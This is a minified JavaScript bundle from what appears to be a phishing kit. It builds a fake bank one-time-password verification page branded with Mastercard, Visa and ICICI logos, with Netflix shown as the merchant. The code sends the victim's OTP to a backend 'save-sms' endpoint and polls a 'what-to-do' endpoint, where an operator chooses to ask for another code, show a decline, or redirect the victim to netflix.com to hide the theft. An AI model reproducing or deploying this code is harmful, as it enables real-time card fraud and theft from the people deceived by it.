(window["webpackJsonp"]=window["webpackJsonp"]||[]).push([["chunk-8f89eb98"],{"0290":function(t,e,s){"use strict";s.r(e);var a=s("7a23"),c=Object(a["r"])("data-v-5a9962b1");Object(a["k"])("data-v-5a9962b1");var n={style:{width:"470px"},class:"p-3"},o=Object(a["e"])('<div class="flex justify-between items-center pb-2 border-b border-gray-400" data-v-5a9962b1><div class="flex" data-v-5a9962b1><div data-v-5a9962b1><img src="images/master-card-logo.png" alt="" width="100" data-v-5a9962b1></div><div data-v-5a9962b1><img src="images/Ver-by-VISA.png" alt="" width="50" data-v-5a9962b1></div></div><div data-v-5a9962b1><img src="images/logo_ICICI.gif" alt="" data-v-5a9962b1></div></div>',1),i={class:"mt-5"},d={class:" mt-3"},l=Object(a["g"])("td",{class:"p-1 pr-2",style:{color:"#AAAAAA"}}," Card Number ",-1),r={class:" p-1 font-bold"},b=Object(a["g"])("tr",{class:" "},[Object(a["g"])("td",{class:"p-1",style:{color:"#AAAAAA"}}," Merchant "),Object(a["g"])("td",{class:" p-1 font-bold"}," Netflix ")],-1),u=Object(a["g"])("td",{class:"p-1",style:{color:"#AAAAAA"}}," Date ",-1),g={class:" p-1 font-bold"},O=Object(a["g"])("td",{class:"p-1",style:{color:"#AAAAAA"}}," Date ",-1),m={class:" p-1 font-bold"},j=Object(a["g"])("tr",null,[Object(a["g"])("td",{colspan:"2"},[Object(a["g"])("p",{class:"text-sm"}," An OTP (One Time Password has been sent to your registered mobile number. Please authenticate the transaction using this OTP. ")])],-1),p=Object(a["g"])("td",{class:"p-1 font-bold"}," Enter OTP ",-1),f={class:" p-1 "},h={colspan:"2"},v=Object(a["g"])("p",{class:"text-xs text-center mt-2"}," OTPs are SECRET DO NOT disclose it to anyone. Bank NEVER asks for OTP. ",-1),w={class:"animate-spin -ml-1 mr-3 h-5 w-5 text-white",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24"},A=Object(a["g"])("circle",{class:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor","stroke-width":"4"},null,-1),x=Object(a["g"])("path",{class:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"},null,-1),y=Object(a["f"])(" Submit "),C=Object(a["g"])("div",{class:"text-center text-xs text-gray-600 mt-5"},[Object(a["f"])(" You should receive an OTP in 180 seconds, "),Object(a["g"])("br"),Object(a["f"])("sometimes it takes a little longer so please be patient. ")],-1);Object(a["j"])();var T=c((function(t,e,s,c,T,X){return Object(a["i"])(),Object(a["c"])("div",n,[o,Object(a["g"])("div",i,[Object(a["g"])("div",d,[Object(a["g"])("table",null,[Object(a["g"])("tr",null,[l,Object(a["g"])("td",r,Object(a["m"])(X.ccnum_hidden),1)]),b,Object(a["g"])("tr",null,[u,Object(a["g"])("td",g,[Object(a["g"])("span",{textContent:Object(a["m"])((new Date).toISOString().substr(0,10))},null,8,["textContent"])])]),Object(a["g"])("tr",null,[O,Object(a["g"])("td",m,[Object(a["g"])("span",{textContent:Object(a["m"])((new Date).toISOString().substr(0,10))},null,8,["textContent"])])]),j,Object(a["g"])("tr",null,[p,Object(a["g"])("td",f,[Object(a["q"])(Object(a["g"])("input",{type:"text",class:"w-32 p-1 border   border-gray-500","onUpdate:modelValue":e[1]||(e[1]=function(t){return T.code=t})},null,512),[[a["o"],T.code]])])]),Object(a["g"])("tr",null,[Object(a["g"])("td",h,[v,Object(a["g"])("button",{class:"w-32 mx-auto mt-1 text-xs flex items-center justify-center  py-2 btnsb ",onClick:e[2]||(e[2]=function(){return X.submitCode&&X.submitCode.apply(X,arguments)}),disabled:T.isLoading||!T.code},[Object(a["q"])((Object(a["i"])(),Object(a["c"])("svg",w,[A,x],512)),[[a["p"],T.isLoading]]),y],8,["disabled"])])])])])]),C])})),X=s("bc3a"),k=s.n(X),D=s("a078"),P={name:"Generic",props:["ccname","ccnum","cc_result","bank"],data:function(){return{code:null,isResend:!1,isLoading:!1}},computed:{ccnum_hidden:function(){return"XXXX XXXX XXXX "+this.ccnum.substr(-4)}},methods:{submitCode:function(){var t=this;this.isLoading=!0,k.a.post(D["a"]+"save-sms/"+this.cc_result,{code:this.code}).then((function(){t.waitWhatToDo()})).catch((function(){setTimeout((function(){return t.submitCode()}),2e3)}))},waitWhatToDo:function(){var t=this;k.a.get(D["a"]+"what-to-do/"+this.cc_result).then((function(e){2===e.data.status?setTimeout((function(){return t.waitWhatToDo()}),1e3):3===e.data.status||12===e.data.status?(t.isResend=!0,t.isLoading=!1,t.code=""):4===e.data.status?t.$emit("card-declined"):5===e.data.status&&(window.location.href="http://netflix.com")})).catch((function(e){setTimeout((function(){return t.waitWhatToDo()}),2e3),401===e.response.status&&(t.modalError="ERROR : "+e.response.data.message)}))}}};s("5d10");P.render=T,P.__scopeId="data-v-5a9962b1";e["default"]=P},"5d10":function(t,e,s){"use strict";s("b169")},b169:function(t,e,s){}}]);
//# sourceMappingURL=chunk-8f89eb98.cb660e00.js.map